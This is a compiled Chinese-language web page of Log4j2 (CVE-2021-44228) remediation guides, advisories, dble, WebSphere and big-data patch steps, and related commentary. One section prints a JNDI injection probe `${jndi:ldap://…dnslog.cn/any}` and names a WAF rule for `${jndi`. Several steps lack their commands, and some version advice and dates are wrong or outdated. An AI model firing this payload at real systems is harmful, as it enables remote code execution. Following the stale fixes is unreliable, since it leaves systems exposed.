log4j漏洞修复,Spring-Boot-strater-log4j2怎么修复漏洞

log4j漏洞修复,Spring-Boot-strater-log4j2怎么修复漏洞详细介绍

本文目录一览： Spring-Boot-strater-log4j2怎么修复漏洞

步骤如下：升级springboot到最新v2.5.8和v2.6.2以及后续版本，确保安全；如果单独依赖了log4j2日志，请强制使用最新版本v2.17.1换切换其他日志系统或者追加参数-Dlog4j2.formatMsgNoLookups=true

log4j2漏洞CVE44228官方修复方案

apache官网发布了log4j2的漏洞修复方案，大致是这么说的

log4j团队注意到了安全漏洞CVE-2021-44228，这个问题已经在 Log4j 2.15.0版本里修复了。

Log4j’s JNDI支持没有限定哪个名字可以被用，一些协议是非安全的，可能会被允许远程代码执行。log4j现在限制了只有java、ldap和ladps可以使用此协议，并且限制了ldap协议只能在本地访问java的私有对象。

由于log4j允许在日志消息里查找，这个场景可能会导致漏洞爆出。在log4j 2.15.0里这个特性被默认禁用了。尽管提供了启动查找的方式，用户依然强烈反对启用它。

对于无法升级到2.15.0的，并且版本>=2.10的，这个漏洞可以通过设置jvm参数 log4j2.formatMsgNoLookups 或者环境变量 LOG4J_FORMAT_MSG_NO_LOOKUPS 为true的方法去减轻问题。对于 2.0-beta9 to 2.10.0,可以通过移除 JndiLookup 类的方式减轻，命令为：zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class。

以下为英文全文

The Log4j team has been made aware of a security vulnerability, CVE-2021-44228, that has been addressed in Log4j 2.15.0.

Log4j’s JNDI support has not restricted what names could be resolved. Some protocols are unsafe or can allow remote code execution. Log4j now limits the protocols by default to only java, ldap, and ldaps and limits the ldap protocols to only accessing Java primitive objects by default served on the local host.

One vector that allowed exposure to this vulnerability was Log4j’s allowance of Lookups to appear in log messages. As of Log4j 2.15.0 this feature is now disabled by default. While an option has been provided to enable Lookups in this fashion, users are strongly discouraged from enabling it.

For those who cannot upgrade to 2.15.0, in releases >=2.10, this vulnerability can be mitigated by setting either the system property log4j2.formatMsgNoLookups or the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true . For releases from 2.0-beta9 to 2.10.0, the mitigation is to remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class .

链接地址：https://logging.apache.org/log4j/2.x/

分布式 log4j2 漏洞修复方案

dble 运行依赖许多组件的 jar 包，当遇到某个组件有漏洞时，需要紧急修复。
安全漏洞说明： https://nosec.org/home/detail/4917.html
??：方案1可实施，截止至北京时间2021年12月14日11时，log4j 官方已经发布 2.16.0 版本，相关 release notes： https://github.com/apache/logging-log4j2/blob/rel/2.16.0/RELEASE-NOTES.md
??：下面介绍的2，3步骤是临时缓解步骤，不排除有其他问题
dble版本：2.19.07.x - 3.21.10.x版本，2.19.07.x之前的版本需要自行尝试替换方案，官方不再提供支持
影响：需要重启 dble
步骤：
1.1 停止 dble
1.2 将 dble 服务器上 log4j 的 jar 包进行备份并 mv 至 /tmp/ 目录下
/path/to/dble/lib 下有四个 jar 包分别是：（操作前需要确认一下）
执行下面的操作：
1.3 将 log4j 2.16.0 版本的相关 jar 包，上传到该路径下/path/to/dble/lib，并变更权限 参考链接： https://repo1.maven.org/maven2/org/apache/logging/log4j/log4j-core/2.16.0/ ，其他jar在此网站上查找
1.4 重复1.2，1.3步骤升级其余三个jar包
1.5 启动dble
dble版本：理论上全版本dble适配
影响：需要重启dble
步骤：
在 dble 配置文件 /path/to/dble/conf 下添加配置文件 log4j2.component.properties
修改文件权限：
添加如下配置：
验证方式：
开发环境验证该变量重启后被加载，不重启情况下，不会被加载。
dble版本：适用于dble版本 < 3.20.07.0
3.20.07.0及之后的dble版本由于对 JVM 参数进行了限制，因此不支持此种方式，会在近期修复。
影响：需要重启dble
步骤：
在 dble 配置文件/path/to/dble/conf/wrapper.cof 中添加如下配置，并重启dble。
配置：
原环境中是否存在 wrapper.java.additional 的参数，下面配置中的14在原环境中按需替换
执行以下命令判断是否使用该参数启动：
不推荐

websphere是否存在log4j漏洞

websphere存在log4j漏洞，
解决办法是：
1、将common-logging.jar包和Log4J.jar包放入WAS的公用lib下面，即如此目录下，IBM\WebSphere\AppServer\lib
2、在项目中增加commons-logging.properties文件，并且与log4j文件同级，都放在SRC下面
commons-logging.properties文件中的内容是：
priority=1
org.apache.commons.logging.LogFactory=org.apache.commons.logging.impl.LogFactoryImpl
org.apache.commons.logging.Log=org.apache.commons.logging.impl.Log4JLogger
3、将commons-logging.properties和log4j.properties文件拷入WAS的概要文件的properties目录下，如：IBM\WebSphere\AppServer\profiles\AppSrv01\properties

由log4j远程执行漏洞说起

这几天让IT从业人员忙的不可开交的头等大事便是Log4j的远程执行漏洞了，我们先看一个简单的PoC：

先前往dnslog网站，申请一个子域名，假如是“subdomain.dnslog.cn”。

然后执行java Main ${jndi:ldap://subdomain.dnslog.cn/any}，我们在dnslog网站上刷新请求记录，便会看到申请的子域名被访问了。

如果你是一个开发者，你会知道我们的代码里面毫无疑问充斥着大量这种用法。如果你是一个安全人员，自然知道当恶意访问人员输入时可不只是访问个域名就完事，很有可能把主机密码就传到指定网站了。

那解决的办法在各大厂、安全公司等也已经公布了，无非以下几种：

WAF或防火墙规则，我们先不聊，这个大公司都会做，但并不能完全解除问题。

我们把升级JDK、升级logback、替换成logback以及移除log4j的JNDI相关类都可以看作类库升级。一方面，这些方案都需要一个应用一个应用去执行（甚至有些需要一个一个实例去处理），重复劳动，投入较大；另一方面，兼容性存疑，在升级前必然要做一定的回归测试。此处的兼容性，可以略举一些例子：比如代码里写死了log4j的实现类，而不是slf4j的api时，想要直接替换成logback就不现实。有人可能会说代码规范不允许，但他们忘了，规范和执行是2个相关的事情，但不是必然的因果关系。比如一些只做维护的老系统，存在时间比很多人工龄都长，还有一些是外包产商开发维护的系统，这种情况就是稳定重于一切。

其余几个都是修改配置，但其中略有差异。比如环境变量影响操作系统上所有的应用，如果某个应用JDK版本较高，又刚好需要这个特性，那么就容易产生bug了。修改PatternLayout容易遗漏，比如通常在自己应用的log4j配置文件，但也有可能内部框架做了封装，在jar包有配置，甚至在代码里做了配置。而在log4j2.component.properties添加配置同修改PatternLayout，也还是需要重新打包构建（除非有统一配置中心，并魔改log4j）。

综上来看，我们要避免开发人员修改、避免再次构建，只做重启的话，只能是修改环境变量或添加启动参数了。当然，每个公司有它自己的体系，某些时候大众意义的不好用对于它而言，反而是最简单的。比如，没有自动化（尤其是k8s）的公司，想要改启动参数，运维一个个实例去修改，那简直痛不欲生。

如果我们是log4j的开发人员，当产品经理提出一个需求，即碰到由“${”开头、“}”结尾的日志时，自动做替换，这个需求我们要不要做，怎么做。

刚入行的我是不会问要不要做的，只会想着怎么做，那自然是匹配、解析了。

有一定经验的我则会问这个需求为了解决什么问题，有没有比产品经理提的刚恰当的方式来解决（产品经理资历较浅，或者对产品不够熟悉时）。那我们可以看下log4j这个需求的提交记录最早可以追溯到2013年了，提交记录较多，可以通过代码反向推测需求：类似slf4j，将日志中的占位符替换成真实值，真实值可以延迟计算，计算来源支持扩展。

从代码看，目前已有的扩展包括ctx（日志事件的上下文）、date（日志事件产生的时间）、env（系统环境）、jndi（JNDI上下文获取）、map、sd（结构化事件类型中获取）、sys（系统属性）、web（从web.xml等取ServletContext）

需求是实现了，那还有吗？

如果是一个资深的研发人员就会问了，有预计的使用频率吗，如果使用频率非常高，性能就需要注意不能拖后腿；这个特性如果出现问题，需要关闭，最好能动态关闭；这个特性实际使用了多少次，耗时多少，报错多少；这个是否会在多线程环境下执行，这段代码是否线程安全；用户的输入能否对服务器产生破坏，保存后对其他用户是否产生安全问题。

在一个成熟的企业中，需要考虑诸如此类的问题。当然，很多东西可以模板化，减少开发人员心智，比如CI/CD实践中的自动化测试和DevSecOps。

为什么这次的影响这么大，因为它是基础库，比如dubbo、kafka、flink等很多框架和中间件都用到了它。同时，这从侧面说明log4j2是一个比较值得选取的日志库。

那回到技术选型，以日志为例，我们需要考虑哪些方面呢？

功能。功能是否契合企业需求，缺失功能是否在未来计划，或者扩展实现难度。如果功能都不满足，那自然pass。log4j、logback、log4j2都提供了将日志输出的功能，功能上都能满足，细节根据各企业自身情况而定了。

性能。性能自然是非常重要的，生产是没法debug的，只能通过日志来跟踪某一个事务的情况，如果日志耗时太多，TPS自然受影响，用户体验变差，还可能导致硬件成本上升。log4j2的性能就比logback要出色，logback比log4j要出色。

群众基础和易用性。如果没人会用，使用起来也困难，大概率很难被接受，也很难流行。文档是否介绍了架构设计，也有使用文档，文档是否支持多种语言（本土语言）。log4j2的配置就比较多，特别是想要较高性能时，配置更是复杂。

稳定性与活跃度。生产上使用，肯定要求稳，不可能三五天做一次修复升级。如果功能还未按计划完全实现，那么迭代升级过程中会碰到诸多问题，需要有较多的人提前使用反馈意见做改进，出现问题时，能够通过搜索引擎或其他社群解决。

开源协议。如果不开源，那么使用时心中便会有诸多不安，万一哪个地方有雷都不知道，出了问题，自己能解决的概率也极低。比如MySQL的双协议，要求要么交费，要么开源改动，不如Apache Licence等宽松，导致很多公司开始选择PostgreSQL。

生态。与企业的整套框架是否有冲突，开发流程上是否需要做额外的事情。比如很多框架用了log4j2，贸然引进logback，势必多出工作量来排除log4j2的依赖。比如开发流程工具只支持logback（当然这种场景基本没有），那么使用log4j2就需要再仔细想想了。

架构设计与代码质量。如果代码的架构设计较差，扩展性没设计好，那么企业内部做扩展（二次开发）时，只能修改代码，与源头分叉，后续几乎没法合并，无法反哺开源社区，企业内部后续升级也十分困难。如果代码质量太差，一步一坑，大家直接用脚投票的。

前瞻性。架构设计要有一定的前瞻性，以应对未来的变化。功能建设上也要有一定的前瞻性，实现、验证、上线三者之间还是需要一定时间的。比起等待，大部分人都是想我现在要。

腾讯安全刚刚给出了Log4j2核弹级漏洞线上修复方案！紧急修复

2月9日晚，Apache Log4j2反序列化远程代码执行漏洞细节已被公开，Apache Log4j-2中存在JNDI注入漏洞，当程序将用户输入的数据进行日志记录时，即可触发此漏洞，成功利用此漏洞可以在目标服务器上执行任意代码。
Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架，并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发，用来记录日志信息。大多数情况下，开发者可能会将用户输入导致的错误信息写入日志中。
因该组件使用极为广泛，利用门槛很低，危害极大，腾讯安全专家建议所有用户尽快升级到安全版本。
高危，该漏洞影响范围极广，利用门槛很低，危害极大。 CVSS评分：10（最高级）
Apache log4j2 >= 2.0,
Apache log4j2 2.15.0
综合国内机构意见，目前针对Apache Log4j漏洞的主要应对方法如下：
1.Apache Log4j 官方已经发布了解决上述漏洞的安全更新，建议受影响的用户尽快升级到安全版本：
安全版本 ：log4j-2.15.0-rc2
官方安全版本下载可以参考以下链接：
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
2.建议对 Apache Struts2/Apache Solr/Apache Flink/Apache Druid 等已知受影响的应用及组件进行升级
1.设置jvm参数 -Dlog4j2.formatMsgNoLookups=true。
2.设置log4j2.formatMsgNoLookups=True。
3.设置系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 为 true。
4.采用 rasp 对lookup的调用进行阻断。
5.采用waf对请求流量中的${jndi进行拦截。
6.禁止不必要的业务访问外网。
腾讯安全服务解决方案： https://view.inews.qq.com/a/20211211A032S100

大数据组件Log4j2漏洞升级

方案思路是，在初始化主机的时候加上防火墙策略，集群间开启白名单，对外开放我们需要用到的端口， firewall 可能要用到的语句如下：

其实一些像Zookeeper和Kafka这些用的Log4j是没有啥影响的，但是合作商需要你升级，因为一个漏洞就要把对应组件版本升级不太实际，组件的版本升级我们还需要做版本调研和适配，所以采用的方案是更换 jar包 重新打包，目前基于Java的组件如下： Zookeeper 、 Kafka 、 Flink 、 Elastiserch 、 Neo4j 还有自身的基于SpringBoot基础平台服务。

SpringBoot升级对应log4j2版本即可。

删除jar包

添加jar包

log4j.properties 文件

添加JVM配置，其中 log4j.configurationFile 用于指定log4j2的日志配置文件， zookeeper.jmx.log4j.disable 用于关闭jmx。

删除jar包

添加jar包

删除jar包

添加jar包

删除jar包

添加jar包

Neo4j 我们的版本没有影响，可以参考官方 《Apache Log4j Security Vulnerability》

像 Hadoop 、 Hbase 、 Hive 、 Spark 这些组件我们目前不做调整，有做过适配的欢迎推荐参考资料，因为不排除后期也要做升级处理。

Log4j 漏洞还没收拾完，新漏洞又来了……

闹得沸沸扬扬的Apache Log4j 2 被曝存在“核弹级”漏洞从被发现到现在已经过去了十几天，据说全球有近一半企业都受到了影响。

大批研发和安全人员为此深夜加班修 Bug，直到今天
Log4j 漏洞的修复工作还在进行中，然而新的漏洞又出现了。

据云安全供应商 Wiz 报告，微软 Azure 应用服务中存在一个名为“NotLegit”的漏洞——该漏洞将影响所有通过“本地 Git”部署的 PHP、Node、Ruby 和 Python 应用。

Wiz 方面将该漏洞称为“NotLegit”，自 2017 年 9 月以来便一直存在，很可能已被利用。Wiz 指出，唯一不受“NotLegit”漏洞影响的是基于 IIS 的应用，具体影响范围包括：

自 2017 年 9 月以来，在 Azure 应用服务中使用“本地 Git”部署的所有 PHP、Node、Ruby 和 Python 应用；
从 2017 年 9 月起，在应用容器中创建或修改文件后，使用 Git 源代码部署在 Azure 应用服务中的所有 PHP、Node、Ruby 和 Python 应用；

微软在了解问题严重性后很快便采取了相关必要措施。Azure 应用服务团队进行深入调查找到了根结所在，随后为大部分受影响客户修复应用，并在 2021 年 12 月 7 日至 15 日之间通过邮件通知所有仍然暴露的客户。

No.1
因为Log4j漏洞涉及范围广，让不少不了解相关技术的人也知道了安全漏洞这个概念。对于技术开发和安全人员来说，安全漏洞问题其实是非常常见的，也已经成为了一个重要的课题。

常见的安全漏洞主要有以下这些：

SQL注入
web应用程序对用户输入数据的合法性没有判断或过滤不严，攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句，在管理员不知情的情况下实现非法操作，以此来实现欺骗数据库服务器执行非授权的任意查询，从而进一步得到相应的数据信息。

失效的身份认证
应用中负责认证和会话管理的部分没有正确实现，使得攻击者得以泄露密码，口令或令牌，进而可能获取其他用户的身份。

敏感数据泄露
攻击者不是直接攻击密码，而是在传输过程中或从客户端（例如：浏览器）窃取密钥、发起中间人攻击，或从服务器端窃取明文数据。这通常需要手动攻击。通过使用图形处理单元（GPU），早前检索的密码数据库可能被暴力破解。

越权访问
越权访问（Broken Access Control，简称BAC）是Web应用程序中一种常见的漏洞，由于其存在范围广、危害大，被OWASP列为Web应用十大安全隐患的第二名。

安全性错误配置
攻击者能够通过未修复的漏洞、访问默认账户、不再使用的页面、未受保护的文件和目录等来取得对系统的未授权的访问或了解。

XSS跨站脚本攻击
XSS漏洞出现在当web页面包含不可信的数据，却没有合适的验证手段来找到它的时候。XSS使得攻击者能够在受害者的浏览器中执行脚本，从而劫持会话，或重定向到恶意站点。

其实安全问题出现的原因远远不止上述这些，在互联网时代，网络安全问题远比我们想象的要严峻得多。

No.2
随着互联网的发展和普及，网络在给我们生活带来极大便利的同时，也给我们留下了隐私数据泄露、电脑病毒传播等诸多问题，因此不仅仅从个人还是企业的角度来讲，网络安全的相关问题都是重中之重。

企业招聘到合适的安全测试人才相当不易，并非IT企业的招聘要求苛刻，实际情况是大量求职人员受专业技能限制而无法满足企业需求。

安全测试工程师工作的重点在于对企业信息化建设和维护，其中包含技术及管理等方面的工作，工作相对稳定，随着项目经验的不断增长和对行业背景的深入了解，掌握企业核心网络架构、安全技术，具有不可替代的竞争优势。

怎么检查有没有Apache Log4j漏洞

1、人工检测
jar解压后是否存在org/apache/logging/log4j相关路径结构，判断是否使用了存在漏洞的组件，若存在相关Java程序包，则很可能存在该漏洞。
应用程序能引用 org.apache.logging.log4j的包，很大概率存在漏洞
如果应用程序引用了 log4j-core-2.xx.xx.jar 或 log4j-api-2.xx.x.jar 很大概率存在漏洞。
如果pom文件引用了以下

org.apache.logging.log4j

log4j-core

2.xx.x

org.apache.logging.log4j

log4j-api

2.xx.xx

也是存在漏洞。
修复方法：
官方补丁
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
临时解决方案
1. 设置jvm参数 “-Dlog4j2.formatMsgNoLookups=true”
2. 设置“log4j2.formatMsgNoLookups=True”
3. 系统环境变量“FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS”设置为“true”
————————————————